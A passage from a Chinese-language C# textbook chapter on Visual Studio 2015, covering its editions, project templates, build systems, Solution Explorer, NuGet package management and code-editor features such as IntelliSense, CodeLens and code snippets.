集成的调试器  从编程的本质上讲,第一次试运行时,代码可能会无法正常运 行。可能第二次或者第三次都无法正常运行。Visual Studio无缝地链接到一个调试 器中,允许设置断点,监视集成环境中的变量。 ● 集成的MSDN帮助 Visual Studio允许在IDE中访问MSDN文档。例如,如果使用文 本编辑器时不太确定一个关键字的含义,只需要选择该关键字并按F1键,Visual Studio将会访问MDSN并展示相关主题。同样,如果不确定某个编译错误是什么意 思,可以选择错误消息并按F1键,调出MSDN文档,查看该错误的演示。 ● 访问其他程序 Visual Studio也可以访问一些其他实用程序,在不退出集成开发环境 的情况下,就可以检查和修改计算机或网络的相关方面。可以用这些实用工具来 检查运行的服务和数据库连接,直接查看SQL Server表,浏览Microsoft Azure Cloud服务,甚至用一个Internet Explorer窗口来浏览Web。 ● Visual Studio扩展 Visual Studio的一些扩展已经在Visual Studio的正常安装过程中安 装好了,Microsoft和第三方还提供了更多的扩展。这些扩展允许分析代码,提供 项目或项模板,访问其他服务等。使用.NET编译器平台,与Visual Studio工具的 集成会更简单。 Visual Studio的最新版本有一些有趣的改进。一个主要部分是用户界面,另一个主要 部分是后台功能和.NET编译器平台。 对于用户界面,Visual Studio 2010基于WPF重新设计了外壳,而不是基于原生的 Windows控件。Visual Studio 2012的界面在此基础上又有了一些变化,尤其是用户界面更 关注主要工作区——编辑器,允许直接在代码编辑器中完成更多的工作,而无须使用许多 其他工具。当然,还需要代码编辑器之外的一些工具,但更多的功能内置于几个工具中, 所以减少了通常需要的工具数量。在Visual Studio 2015中,改进了一些UI功能。例如 NuGet包管理器不再是模式对话框。在包管理器的最新版本中,包管理器加载服务器中的 信息时,可以继续执行其他任务。 有了.NET编译器平台(代码名称是Roslyn), .NET编译器完全重写了,它现在集成了 编译器管道的功能,例如语法分析、语义分析、绑定和代码输出。Microsoft基于此重写了 许多Visual Studio集成工具。代码编辑器、智能感知和重构都基于.NET编译器平台。  注意: 第18章介绍了可以用于.NET编译器平台的API。 对于XAML代码编辑,Visual Studio 2010和Expression Blend 4(现在称为Blend for Visual Studio 2015)使用了不同的编辑器引擎。在Visual Studio 2013时,两个团队就已经 合并,尽管UI中提供的功能有点区别,但Visual Studio和Blend for Visual Studio的代码引 擎是一样的。Visual Studio 2013从Blend获得了XAML引擎,现在对于Blend for Visual Studio 2015, Blend获得了Visual Studio的外壳。启动Blend for Visual Studio 2015,会看到它 类似于Visual Studio,可以立即开始使用它。 Visual Studio的另一项改进是搜索。Visual Studio有许多命令和功能,常常很难找到需 要的菜单或工具栏按钮。只要在Quick Launch中输入所需命令的一部分,就可以看到可用 的选项。Quick Launch位于窗口的右上角(见图17-2)。搜索功能还可以从其他地方找 到,如工具栏、解决方案资源管理器、代码编辑器(可以按Ctrl+F组合键来调用)以及引 用管理器上的程序集等。 图17-2 17.1.1 Visual Studio的版本 Visual Studio 2015提供了多个版本。最便宜的是Visual Studio 2015 Express版,这个版 本在某些情况下是免费的!它对个人开发者、开源项目、学术研究、教育和小型专业团队 是免费的。 可供购买的是Professional和Enterprise版。只有Enterprise版包含所有功能。Enterprise 版独享的功能有IntelliTrace(智能跟踪)、负载测试和一些架构工具。微软的Fakes框架 (隔离单元测试)只能用于Visual Studio Enterprise版。本章介绍Visual Studio 2015包含的 一些功能,这些功能仅适用于特定版本。有关Visual Studio 2015各个版本中功能的详细信 息,请参考http://www.microsoft.com/visualstudio/en-us/products/compare。 17.1.2 Visual Studio设置 当第一次运行Visual Studio时,需要选择一个符合环境的设置集,例如General Development、Visual Basic、Visual C#、Visual C++或Web Development。这些不同的设置 反映了过去用于这些语言的不同工具。在微软平台上编写应用程序时,可以使用不同的工 具来创建Visual Basic、C++和Web应用程序。同样,Visual Basic、Visual C++和Visual InterDev具有完全不同的编程环境、设置和工具选项。现在,可以使用Visual Studio为所 有这些技术创建应用程序,但Visual Studio仍然提供了快捷键,可以根据Visual Basic、 Visual C++和Visual InterDev选择。当然,也可以选择特定的C#设置。 在选择了设置的主类别,确定了键盘快捷键、菜单和工具窗口的位置后,就可以通过 Tools |Customize… (工具栏和命令)和Tools | Options…(在此可以找到所有工具的设 置),来改变每个设置。也可以重置设置集,方法是使用Tools | Import and Export Settings,调用一个向导,来选择一个新的默认设置集(如图17-3所示)。 图17-3 接下来的小节贯穿一个项目的创建、编码和调试过程,展示Visual Studio在各个阶段 能够帮助完成什么工作。 17.2 创建项目 安装Visual Studio 2015之后,会希望开始自己的第一个项目。使用Visual Studio,很 少会启动一个空白文件,然后添加C#代码。但在本书前面的章节中,一直是按这种方式 做的(当然,如果真的想从头开始编写代码,或者打算创建一个包含多个项目的解决方 案,则可以选择一个空白解决方案的项目模板)。 在此,告诉Visual Studio想创建什么类型的项目,它会生成文件和C#代码,为该类型 的项目提供一个框架。之后在这个基础上继续添加代码即可。例如,如果想创建一个 Windows桌面应用程序(一个WPF应用程序), Visual Studio将生成一个XAML文件和一个 包含C#源代码的文件,它创建了一个基本的窗体。这个窗体能够与Windows通信和接收事 件。它能够最大化、最小化或调整大小;用户需要做的仅是添加控件和想要的功能。如果 应用程序是一个命令行实用程序(一个控制台应用程序), Visual Studio将提供一个基本的 名称空间、一个类和一个Main方法,用户可以从这里开始。 最后一点也很重要:在创建项目时,Visual Studio会根据项目是编译为命令行应用程 序、库还是WPF应用程序,为C#编译器设置编译选项。它还会告诉编译器,应用程序需 要引用哪些基类库和NuGet包。例如,WPF GUI应用程序需要引用许多与WPF相关的库, 控制台应用程序则不需要引用这些库。当然,在编辑代码的过程中,可以根据需要修改这 些设置。 第一次启动Visual Studio时,IDE会包含一些菜单、一个工具栏以及一个包含入门信 息、操作方法视频和最新新闻的页面,如图17-4所示。起始页包含指向有用网站和一些实 际文章的链接,可以打开现有项目或者新建项目。 图17-4 图17-4是使用Visual Studio 2015后显示的起始页,其中包含最近编辑过的项目列表。 单击其中的某个项目可以打开该项目。 17.2.1 面向多个版本的.NET Framework Visual Studio 2015允许设置想用于工作的.NET Framework版本。当打开New Project对 话框时,如图17-5所示,对话框顶部的一个下拉列表显示了可用的选项。 图17-5 在这种情况下,该下拉列表允许设置的.NET Framework版本有2.0、3.0、3.5、4.0、 4.5、4.5.1、4.5.2、4.6和4.6.1。也可以通过单击More Frameworks链接来安装.NET Framework的其他版本。该链接打开一个网站,从这个网站中可以下载.NET Framework的 其他版本,例如2.0+3.5 SP1,也可以下载用于服务的框架(Microsoft Azure, OneDrive)和 设备(Xamarin)。 如果想改变解决方案正在使用的框架版本,右击项目并选择该解决方案的属性。如果 正在处理一个WPF项目,将会看到如图17-6所示的对话框。 图17-6 在此对话框中,Application选项卡允许改变应用程序正在使用的框架版本。 17.2.2 选择项目类型 要新建一个项目,从Visual Studio菜单中选择File | New Project。New Project对话框如 图17-7所示,通过该对话框可以大致了解能够创建的不同项目。 图17-7 使用这个对话框,可以有效地选择希望Visual Studio生成的初始框架文件和代码、希 望Visual Studio生成的代码、要用于创建项目的编程语言以及应用程序的不同类别。 表17-1描述了在Visual C#项目中可用的所有选项。 表17-1 项目模板名称 项目模板描述 Windows Forms应用程序 一个对事件做出响应的空白窗体。Windows Forms包装原生 的Windows控件,并使用基于像素的图形和GDI+ WPF应用程序 一个对事件做出响应的空白窗体。与Windows Forms应用程 序的项目模板很相似,但是该WPF应用程序的项目模板允 许使用矢量图形和样式创建基于XAML的智能客户端解决方 案 控制台应用程序 在命令行提示符或控制台窗口中运行的应用程序。这个控制 台应用程序使用MSBuild环境编译应用程序。在Web类别中 包含用于.NET Core 1.0的控制台应用程序 共享的项目 这个项目没有创建自己的二进制文件,但可以使用其他项目 的源代码。与库相反,源代码在使用它的每个项目中编译。 可以使用预处理器语句,根据用共享项目的项目,来区分源 代码中的不同 类库 可被其他代码调用的.NET类库 可移植类库 可由不同技术使用的类库,例如WPF、Universal Windows Platform应用、Xamarin应用等 WPF浏览器应用程序 与WPF Windows应用程序很相似,这种变体允许针对浏览 器创建一个基于XAML的应用程序。但它只在Internet Explorer中运行,不能在Microsoft Edge中运行。如今,应该 考虑使用不同技术实现这一点,例如具备ClickOnce的WPF 应用程序或者HTML5 空项目 只包含一个应用程序配置文件和一个控制台应用程序设置的 空项目 Windows Service 自动随Windows一起启动并以特权本地系统账户身份执行操 作的Windows Service项目 WPF自定义控件库 在WPF应用程序中使用的自定义控件 WPF用户控件库 使用WPF构建的用户控件库 Windows Forms控件库 创建在Windows Forms应用程序中使用的控件的项目 1.使用Windows传统桌面项目模板 表17-1列出了Windows类别中所有的项目模板。  注意: 共享项目和可移植的类库参见第31章。WPF应用程序项目模板参见第 34章。Windows服务项目模板参见第39章。 2.使用Universal项目模板 表17-2列出了用于Universal Windows Platform的模板。这些模板可用于Windows 10和 Windows 8.1,但需要Windows 10系统来测试应用程序。这些模板是用于创建应用程序, 使用任何设备系列运行在Windows 10上,例如电脑、手机、X-Box、IoT设备等。 表17-2 项目模板名称 项目模板描述 空白应用程序 (Universal Windows) 一个使用XAML的空白Universal Windows应用程序,没有样 式和其他基类 类库(Universal Windows) 一个.NET类库,其他用.NET编写的Windows Store应用程序 可以调用它。在这个库中可以使用Windows运行库的API Windows运行库组件 (Universal Windows) 一个Windows运行库类库,其他用不同编程语言(C#、 C++、JavaScript)开发的Windows Store应用程序可以调用 它 单元测试库(Universal Windows) 一个包含Universal Windows Platform应用程序的单元测试的 库 编码的UI测试项目 (Windows Phone) 这个项目定义了编码的UI测试,用于Windows Phone 编码的UI测试项目 (Universal Windows) 这个项目定义了编码的UI测试,用于Windows应用程序  注意: 对于Windows 10,通用应用程序的默认模板数已削减。为了创建 Windows 8的Windows Store应用程序,Visual Studio提供了更多的项目模板,来预定义 基于网格、基于分隔板或者基于Hub的应用程序。对于Windows 10,只有空模板可用。 可以从空的模板开始,或考虑使用Template10作为开始。一旦安装了微软的Template10 Visual Studio扩展,Template10项目模板就可用,其命令是Tools | Extensions and Updates。  注意: 如果通过Visual Studio安装Windows 8项目模板,也可以使用几个 Windows、Windows Phone和Universal项目模板,这些都是运行在Windows 8和8.1上的 应用程序的通用模板,本书未涉及它们。 3.使用Web项目模板 Visual Studio 2015中的有趣改进是Web项目模板。最初,只有表17-3中的3个选项。 表17-3 项目模板名称 项目模板描述 ASP.NET Web Application 这是在创建任何Web应用程序时选择的模板,它可以是把 HTML代码返回到客户端的网站,也可以是运行JSON或 XML的服务。在选择这个项目模板后,可用的选择在表17- 4中描述 Class Library (Package) 这个模板使用project.json基本项目创建了一个类库。可以在 所有新项目类型中使用这个库。这是一个用.NET Core建立 的库 Console Application(Package) 与前面讨论的控制台应用程序和Windows经典桌面项目模板 不同,这个控制台应用程序使用project.json,从而允许使 用.NET Core 1.0 在选择ASP.NET Web应用程序模板后,就可以选择一些预先配置的模板,如图17-8所 示。顶部是ASP.NET 4.6模板的一个主要组,和ASP.NET Core 1.0的一个组。这两组的模 板在表17-4和表17-5中描述。 图17-8 表17-4 项目 项目模板描述 空白应用程序 这个模板没有任何内容,适合于用HTML和CSS页面创建站 点 Web Forms 这个模板默认为Web Forms添加文件夹。可以添加MVC和 Web API配置,以混合它们 MVC 这个模板使用“模型-视图-控制器”模式和Web应用程序 (ASP.NET MVC 5)。它可以用于创建Web应用程序 Web API Web API模板很容易创建RESTful服务。这个模板也添加 MVC文件夹和核心引用,因为服务的文档用ASP.NET MVC 5创建 单页应用程序 这个模板使用MVC创建结构,仅使用一个页面,它利用 JavaScript代码检索服务器中的数据 Azure API应用程序 该模板创建一个ASP.NET Web API结构,来创建Microsoft Azure支持的服务。为了更容易检测所提供的服务,把 Swagger添加到这个模板 Azure Mobile应用程序 这是一个Azure Mobile应用程序的强大模板,可用于多个移 动客户端。这个模板基于ASP.NET Web API服务定义的表 自动创建一个SQL Server的后端。也很容易集成基于OAuth 的身份验证,来集成Facebook、谷歌和Microsoft账户 表17-5 项目模板名称 项目模板描述 空模板 这个模板是用ASP.NET Core 1.0托管的初始内容。这个模板 主要用于第40章 Web API 这个模板用ASP.NET Core 1.0添加ASP.NET Web API控制 器。这个模板主要用于第42章 Web Application 这个模板为ASP.NET MVC 6应用程序创建控制器和视图。 这个模板主要用于第41章 这些为Web应用程序与ASP.NET 4.6提供的模板如表17-4所示。选择这些模板,就可 以看到Web Forms、MVC和Web API的默认选择,其中定义了创建的文件夹和核心引用。 可以选择Web Forms、MVC和Web API复选框,在一个项目中使用多种技术,例如使用旧 的Web Forms技术和更新的ASP.NET MVC。 表17-4中的模板都使用ASP.NET 4.6或更早版本的框架,而以下模板利用ASP.NET Core 1.0。因为切换到ASP.NET Core 1.0并不是自动进行的,需要更改一些代码,所以并 不是ASP.NET 4.6提供的所有特性都可用于ASP.NET Core 1.0,最好清楚地分开这些组。 例如,ASP.NET Core 1.0没有提供ASP.NET Web Forms。Web Forms是一个自.NET 1.0开 始就存在的技术,但它并不容易使用新的HTML和JavaScript特性。ASP.NET 4.6仍有一些 新特性可用于Web Forms,可以想在未来的许多年里使用此技术,但它将不可用于新框架 ASP.NET Core 1.0。 为Web应用程序与ASP.NET Core 1.0提供的模板在表17-5中描述。在这些选项中,不 能为Web Forms、MVC和Web API选择文件夹和核心引用,因为Web Forms不可用, ASP.NET MVC和Web API移入使用相同类的一种技术中。 4.使用WCF项目模板 要创建一个Windows Communication Foundation(WCF)应用程序来实现客户端和服 务器之间的通信,可以选择如表17-6所示的WCF项目模板。 表17-6 项目模板名称 项目模板描述 WCF服务库 一个包含示例服务合同和实现以及配置的库。该项目模板被 配置为启动一个WCF服务宿主,用来托管服务和测试客户 端应用程序 WCF服务应用程序 一个Web项目,它包含一个WCF合同和服务实现 WCF工作流服务应用程 序 一个Web项目,它托管一个使用工作流运行库的WCF服务 联合服务库 一个WCF服务库,它包含一个WCF服务合同和实现,以托 管RSS或ATOM订阅源 这不是一个完整的Visual Studio 2015项目模板列表,但它列出了一些最常用的模板。 Visual Studio主要添加了Universal Windows项目模板和ASP.NET Core 1.0项目模板。这些 新功能将会在本书其他章节中介绍。特别是,一定要参阅第29章到第34章,其中介绍了 Universal Windows Platform。第40到42章介绍了ASP.NET Core 1.0。 17.3 浏览并编写项目 本节着眼于Visual Studio提供用于帮助在项目中添加和浏览代码的功能。学习如何使 用Solution Explorer浏览文件和代码,使用编辑器的IntelliSense和代码片段等功能浏览其他 窗口,如Properties(属性)窗口和Document Outline(文档大纲)。 17.3.1 构建环境:CLI和MSBuild Visual Studio 2015的复杂性和问题源自于构建环境的重大变化。有两个构建环境可 用:MSBuild(其配置主要基于XML文件)和.NET Command Line Interface (CLI,其配 置主要基于JSON文件)。对于MSBuild,用于编译项目的所有文件都在XML中定义。对 于CLI,文件夹中的所有文件都用于构建项目,所有文件都不需要配置。 在这两个构建环境中,有三个变体。一个变体是使用MSBuild系统。这个构建系统用 于长期存在的项目类型,如WPF应用程序或使用ASP.NET 4.5.2模板的ASP.NET Web应用 程序。项目文件是一个XML文件,列出了属于项目的所有文件,引用所有工具来编译文 件,列出了构建步骤。 CLI构建系统与ASP.NET Core 1.0项目模板一起使用。它用一个基于XML、扩展名为 xproj的项目文件进行初始配置。文件ConsoleApp1.xproj包含Visual Studio工具的构建路径 信息以及全球定义信息。DNX构建系统使用JSON文件project.json,此文件定义可用的命 令,引用NuGet包和程序集,包括项目的描述。不需要属于项目的文件列表,因为文件夹 和子文件夹中的所有文件都用来编译项目。  注意: DNX的命令行工具称为.NET Core命令行(CLI),参见第1章。 CLI和MSBuild的第三种选择是用于通用Windows应用程序。在这里,使用XML项目 文件和project.json。project.json文件不再列出项目描述和命令,只列出对NuGet包的依 赖,使用的运行库(用于Universal Windows Platform应用程序、ARM、x86和x64)。项目 描述和构建命令在使用MSBuild的项目XML文件中。  注意: 有两个选项可供选择,结果就有了三个变体。当然,随着时间的推 移,这会更容易,只是不清楚会有多容易,因为在撰写本文时,刚刚建立了一个支持 跨平台开发的MSBuild版本。未来的更新也许会有更多的选择。 17.3.2 Solution Explorer 在创建项目(例如,前面章节最常用的控制台应用程序(包))之后,要用到的最重 要的工具除了代码编辑器,就是Solution Explorer。使用这个工具可以浏览项目的所有文 件和项,查看所有的类和类成员。  注意: 在Visual Studio中运行控制台应用程序时,有一个常见的误解,即需 要在Main方法的最后一行添加一个Console.ReadLine方法来保持控制台窗口打开。事实 并非如此,通过命令Debug | Start without Debugging(或按Ctrl+F5组合键)可以启动应 用程序,而不必通过命令Debug | Start Debugging(或按F5键)来开启。这样可以保持 窗口打开直到按下某个键。使用F5键来开启应用程序也是有意义的,如果设置了断 点,Visual Studio就会在断点处挂起。 1.使用项目和解决方案 Solution Explorer会显示项目和解决方案。理解它们之间的区别是很重要的: ● 项目是一个包含所有源代码文件和资源文件的集合,它们将编译成一个程序集,在 某些情况下也可能编译为一个模块。例如,项目可能是一个类库或一个Windows GUI应用程序。 ● 解决方案是一个包含所有项目的集合,它们组合成一个特定的软件包(应用程 序)。 要理解这个区别,可以考虑当发布一个包括多个程序集的项目时会发生什么。例如, 可能有用户界面、自定义控件和作为应用程序一部分的库的其他组件。甚至可能为管理员 图17-9 提供不同的用户界面和通过网络调用的服务。应用程序的每一部分可能包含在单独的程序 集中,因此Visual Studio会认为它们是单独的项目。而且很有可能并行编码这些项目,并 将它们彼此结合。因此,在Visual Studio中把这些项目当作一个单位来编辑是非常有用 的。Visual Studio允许把所有相关的项目构成一个解决方案,并且当作一个单位来处理, Visual Studio会读取该单位并允许在该单位上进行工作。 到目前为止,本章已经零散地讨论创建一个控制台项 目。在这个例子中,Visual Studio实际上已经创建一个解 决方案,只不过它仅包含一个项目而已。可以在Solution Explorer中看到这样的场景(如图17-9所示),它包含一 个树型结构,用于定义该解决方案。 在这个例子中,项目包含了源文件Program.cs,以及 项目配置文件project.json(允许定义项目描述、版本和依 赖项)。Solution Explorer也显示了项目引用的NuGet包和 程序集。在Solution Explorer中展开References文件夹就可 以看到这些信息。 如果在Visual Studio中没有改变任何默认设置,在屏幕右上方就可以找到Solution Explorer。如果找不到它,则可以进入View菜单并选择Solution Explorer。 解决方案是用一个扩展名为.sln的文件来描述的,在这个示例中,它是 ConsoleApp1.sln。解决方案文件是一个文本文件,它包含解决方案中包含的所有项目的信 息,以及可用于所有包含项目的全局项。 根据构建环境,C#项目是用一个扩展名为.csproj的文件或.xproj文件和project.json来描 述的,project.json文件可以在Solution Explorer中直接打开。为了在Visual Studio中编 辑.csproj文件,需要先卸载这个项目,可以单击项目名称并在上下文菜单中选择Unload Project命令来进行卸载。项目卸载之后,在上下文菜单中选择Edit ConsoleApp1.csproj,就 可以直接访问XML代码了。 显示隐藏文件 默认情况下,Solution Explorer隐藏了一些文件。单击Solution Explorer工具栏中的 Show All Files按钮,可以显示所有隐藏的文件。例如,bin和obj子文件夹存放了编译的 文件和中间文件。obj子文件夹存放各种临时的或中间文件;bin子文件夹存放已编译的 程序集。 2.将项目添加到一个解决方案中 下面各节将介绍Visual Studio如何处理Windows桌面应用程序和控制台应用程序。最 终会创建一个名为BasicForm的Windows项目,将它添加到当前的解决方案ConsoleApp1 中。  注意: 创建BasicForm项目,得到的解决方案将包含一个WPF应用程序和一 个控制台应用程序。这种情况并不多见,更有可能的是解决方案包含一个应用程序和 许多类库。这么做只是为了展示更多的代码。不过,有时需要创建这样的解决方案, 例如,编写一个既可以运行为WPF应用程序、又可以运行为命令行实用工具的实用程 序。 创建新项目的方式有几种。一种方式是在File菜单中选择New | Project(前面就是这么 做的),或者在File菜单中选择Add | New Project。选择New Project命令将打开熟悉的Add New Project对话框,如图17-10所示。不过,此时Visual Studio会在已有ConsoleApp1项目 所在的解决方案中创建新项目。 图17-10 如果选择该选项,就会添加一个新项目,因此ConsoleApp1解决方案现在包含一个控 制台应用程序和一个WPF应用程序。  注意: Visual Studio支持语言独立性,所以新项目并不一定是C#项目。将C# 项目、Visual Basic项目和C++项目放在同一个解决方案中是完全可行的。但是,本书的 主题是C#,所以创建C#项目。 当然,这意味着ConsoleApp1不再适合作为解决方案的名称。要改变名称,可以右击 解决方案的名称,并选择上下文菜单中的Rename命令。将新的解决方案命名为 DemoSolution。Solution Explorer窗口现在如图17-11所示。 可以看出,Visual Studio自动为新添加的WPF项目引用一些额外的基类,这些基类对 于WPF功能非常重要。 注意,在Windows Explorer中,解决方案文件的名称已经改为DemoSolution.sln。通 图17-11 常,如果想重命名任何文件,Solution Explorer窗口是最合适的选择,因为Visual Studio会自动更新它在其他项目文件中的引 用。如果只使用Windows Explorer来重命名 文件,可能会破坏解决方案,因为Visual Studio不能定位需要读入IDE的所有文件。因 此需要手动编辑项目和解决方案文件,来更 新文件引用。 3.设置启动项目 请记住,如果一个解决方案有多个项 目,就需要配置哪个项目作为启动项目来运 行。也可以配置多个同时启动的项目。这有多种方式。在Solution Explorer中选择一个项 目之后,上下文菜单会提供Set as Startup Project选项,它允许一次设置一个启动项目。也 可以使用上下文菜单中的Debug | Start new instance命令,在一个项目后启动另一个项目。 要同时启动多个项目,右击Solution Explorer中的解决方案,并选择上下文菜单中的Set Startup Projects,打开如图17-12所示的对话框。当选择Multiple startup projects之后,可以 定义启动哪些项目。 图17-12 4.浏览类型和成员 图17-13 当Visual Studio初次创建WPF应用程序时,该应用程序比控制台应用程序要多包含一 些初始代码。这是因为创建窗口是一个较复杂的过程。第34章详细讨论WPF应用程序的 代码。现在,查看MainWindow.xaml中的XAML代码,和MainWindow.xaml.cs中的C#代 码。这里也有一些隐藏的C#代码。遍历Solution Explorer中的树状结构,在 MainWindow.xaml.cs的下面可以找到MainWindow类。Solution Explorer在该文件中显示了 所有代码文件中的类型。在MainWindow类型中,可以看到类的所有成员。_contentLoaded 是一个布尔类型的字段。单击这个字段,会打开MainWindow.g.i.cs文件。这个文件是 MainWindow类的一部分,它由设计器自动生成,包含一些初始化代码。 5.预览项 Solution Explorer提供的一个新功能是Preview Selected Items按钮。启用这个按钮,在 Solution Explorer中单击一项,就会打开该项的编辑器,这与往常相同。但如果该项以前 没有打开过,编辑器的选项卡流就会在最右端显示新打开的项。现在单击另一项,以前打 开的项就会关闭。这大大减少了打开的项数。 在预览项的编辑器选项卡中有Keep Open按钮,它会使该项在单击另一项时仍处于打 开状态,保持打开的项的选项卡会向左移动。 6.使用作用域 设置作用域可以让用户专注于解决方案 的某一特定部分。Solution Explorer列表显示 的项会越来越多。例如,打开一个类型的上 下文菜单,就可以从Base Types菜单中选择 该类型的基类型。这里可以看到完整的类型 继承层次结构,如图17-13所示。 因为Solution Explorer包含的信息量比在 一个屏幕中可以轻松查看的信息量要多,所 以可以用New Solution Explorer View菜单项 一次打开多个Solution Explorer窗口,并且可 以设置作用域来显示一个特定元素。例如, 要显示一个项目或一个类,可选择上下文菜单中的Scope to This命令。要返回到以前的作 用域,可单击Back按钮。 7.将项添加到项目中 在Solution Explorer中可以直接将不同的项添加到项目中。选择项目,打开上下文菜 单Add |New Item,打开如图17-14所示的对话框。打开这个对话框的另一种方式是,使用 主菜单Project | Add New Item。该对话框有很多不同的类别,例如添加类或接口的代码 项、使用Entity Framework或其他数据访问技术的数据项等。 图17-14 8.管理引用 使用Visual Studio添加引用需要特别关注,因为项目类型有区别。如果使用完整的框 架,即.NET 4.6,在.NET Framework中给程序集添加引用仍是一个重要的任务。如果使用 旧模板,例如WPF,或使用新模板,例如Console Application (Package),这个任务就不 重要。记住,使用新模板,仍可以面向.NET 4.5.2 (或.NET 4.6)和.NET Core 1.0。 如图17-15所示的Reference Manager可以把引用添加到来自.NET Framework的程序 集,还可以把引用添加到用库项目创建的程序集。 图17-15 根据要添加引用的项目类型,Reference Manager提供了不同的选项。图17-16显示, Reference Manager打开了一个WPF应用程序。在这里可以引用共享项目和COM对象,还 可以浏览程序集。 图17-16 当创建Universal Windows Platform应用程序时,会看到Reference Manager的一个新特 性,如图17-17所示。在这里可以引用Universal Windows Extensions,例如可用于Windows IoT或Windows Mobile的API扩展。 图17-17 9.使用NuGet包 .NET Core的所有新功能都可以通过NuGet包使用。许多对.NET 4.6的改进也可以通过 NuGet包使用。NuGet允许比.NET Framework更快的创新,如今这是必须的。 NuGet包管理器如图17-18所示,已经为Visual Studio 2015完全重写了。它不再是一个 模态对话框,NuGet包管理器从互联网上下载一些包时,用户可以继续工作。现在可以轻 松地选择需要安装的NuGet包的具体版本。而在Visual Studio 2013中,这需要使用命令 行。 图17-18 要配置NuGet包的来源,可以通过选择Tools | Options,打开Options对话框。在 Options对话框中选择树视图中的NuGet Package Manager | Package Sources (见图17- 19)。默认情况下,配置了微软的NuGet服务器,也可以配置其他NuGet服务器或自己的 服务器。在.NET Core和ASP.NET Core 1.0中,微软提供了每日更新的NuGet包种子。 图17-19 使用NuGet包管理器,不仅可以选择包的来源,也可以选择一个过滤器,查看安装的 所有包,或者可用的升级包,并搜索服务器上的包。  注意: 在ASP.NET Core 1.0中,JavaScript库不再在NuGet服务器中使用。相 反,JavaScript包管理器,例如NPM、Bower等,在Visual Studio 2015中获得直接支持。 参见第40章。 17.3.3 使用代码编辑器 Visual Studio代码编辑器是进行大部分开发工作的地方。在Visual Studio中,从默认配 置中移除一些工具栏,并移除了菜单栏、工具栏和选项卡标题的边框,从而增加了代码编 辑器的可用空间。下面介绍该编辑器中最有用的功能。 1.可折叠的编辑器 Visual Studio中的一个显著功能是使用可折叠的编辑器作为默认的代码编辑器。图17- 20是前面生成的控制台应用程序代码。注意窗口左侧的小减号,这些符号所标记的点是编 辑器认为新代码块(或文档注释)的开始位置。可以单击这些图标来关闭相应代码块的视 图,如同关闭树状控件中的节点,如图17-21所示。 图17-20 图17-21 这意味着在编辑时可以只关注所需的代码区域,隐藏此刻不感兴趣的代码。如果不喜 欢编辑器折叠代码的方式,可以用C#预处理器指令#region和#endregion来指定要折叠的代 码块。例如,要折叠Main方法中的代码,可以添加如图17-22所示的代码。 图17-22 代码编辑器自动检测#region块,并通过#region指令放置一个新的减号标识,这允许 关闭该区域。封闭区域中的这段代码允许编辑器关闭它(如图17-23所示),在#region指 令中用指定的注释标记这个区域。然而,编译器会忽略这些指令,跟往常一样编译Main 方法。 图17-23 2.在编辑器中导航 编辑器的顶行是三个组合框。右边的组合框允许导航输入的类型成员。中间的组合框 允许导航类型。左边的组合框在Visual Studio 2015中是新增的,它允许在不同的应用程序 或框架之间导航。例如,如果正在处理一个共享项目的源代码,在编辑器的左边组合框 中,可以选择使用共享项目的一个项目,查看所选项目的活跃代码。不为所选项目编译的 代码会暗显。使用C#预处理器命令可以为不同的平台创建代码段。 3. IntelliSense 除了可折叠编辑器的功能之外,Visual Studio的代码编辑器也集成了Microsoft流行的 IntelliSense功能。它不仅减少了输入量,还确保使用正确的参数。IntelliSense会记住首选 项,并从这些选项开始提供列表,而不是使用IntelliSense提供的有时相当长的列表。 代码编辑器甚至在编译代码之前就对代码进行语法检查,用短波浪线指示错误。将鼠 标指针悬停在带有下划线的文本上,会弹出一个包含了错误描述的小方框。 4. CodeLens Visual Studio 2013中的一个新功能是CodeLens。在Visual Studio 2015中,这个功能现 在可用于专业版。 用户可能修改了一个方法,但忘了调用它的方法。现在很容易找到调用者。引用数会 直接显示在编辑器中,如图17-24所示。单击引用链接时,会打开CodeLens,以便查看调 用者的代码,并导航到它们。还可以使用另一个新功能Code Map来查看引用。 图17-24 如果使用Git或TFS把源代码签入到源代码控制系统中,例如Visual Studio Online,也 可以看到作者和所进行的更改。 5.使用代码片段 代码片段提升了代码编辑器的工作效率,仅需要在编辑器中写入cw<tab><tab>,编辑 器就会创建Console.WriteLine();。Visual Studio自带很多代码片段: ● 使用快捷方式do、for、forr、foreach和while创建循环 ● 使用equals来实现Equals方法 ● 使用attribute和exception来创建Attribute和Exception派生类型等 选择Tools | Code Snippets Manager,在打开的Code Snippets Manager中可以看到所有 可用的代码片段(如图17-25所示)。也可以创建自定义的代码片段。 图17-25 可以使用用于XAML的代码片段。代码片段可以从http://xamlsnippets.codeplex.com上 获得。 17.3.4 学习和理解其他窗口 除了代码编辑器和Solution Explorer外,Visual Studio还提供了许多其他窗口,允许从 不同的角度来查看或管理项目。  注意: 本节的其余部分介绍其他几个窗口。如果这些窗口在屏幕上不可见, 可以在View菜单中选择它们。要显示设计视图或代码编辑器,可以右击Solution Explorer中的文件名,并选择上下文菜单中的View Designer或View Code;也可以选择 Solution Explorer顶部工具栏中的对应项。设计视图和代码编辑器共用同一个选项卡式 窗口。 1.使用设计视图窗口 如果设计一个用户界面应用程序,如WPF应用程序或Windows控件库,则可以使用设 计视图窗口。这个窗口显示窗体的可视化概览。设计视图窗口经常和工具箱窗口一起使 用。工具箱包含许多.NET组件,可以将它们拖放到程序中。工具箱的组件会根据项目类 型而有所不同。图17-26显示了WPF应用程序的工具箱。 图17-26 要将自定义的类别添加到工具箱,请执行如下步骤: (1)右击任何一个类别。 (2)选择上下文菜单中的Add Tab。 也可以选择上下文菜单中的Choose Items,在工具箱中放置其他工具,这尤其适合于 添加自定义的组件或工具箱默认没有显示的.NET Framework组件。 2.使用Properties窗口 如本书第I部分所述,.NET类可以实现属性。Properties窗口可用于项目、文件和使用 设计视图选择的项。图17-27显示了Windows Service的Properties视图。 图17-27 在这个窗口中可以看到一项的所有属性,并对其进行相应的配置。一些属性可以通过 在文本框中输入文本来改变,一些属性有预定义的选项,一些属性有自定义的编辑器。也 可以在Properties窗口中添加事件处理程序。 在UWP和WPF应用程序中,Properties窗口看起来非常不同,如图17-28所示。这个窗 口提供了很多图形效果,并允许用图形方式来设置属性。这个属性窗口最初来源于Blend 工具。如前所述,Visual Studio和Blend for Visual Studio有许多相似之处。 图17-28 图17-29 3.使用类视图窗口 Solution Explorer可以显示类和类的成 员,这是类视图的一般功能(如图17-29所 示)。要调用类视图,可选择View| Class View。类视图显示代码中的名称空间和类的 层次结构。它提供了一个树型结构,可以展 开该结构来查看名称空间下包含哪些类,类 中包含哪些成员。 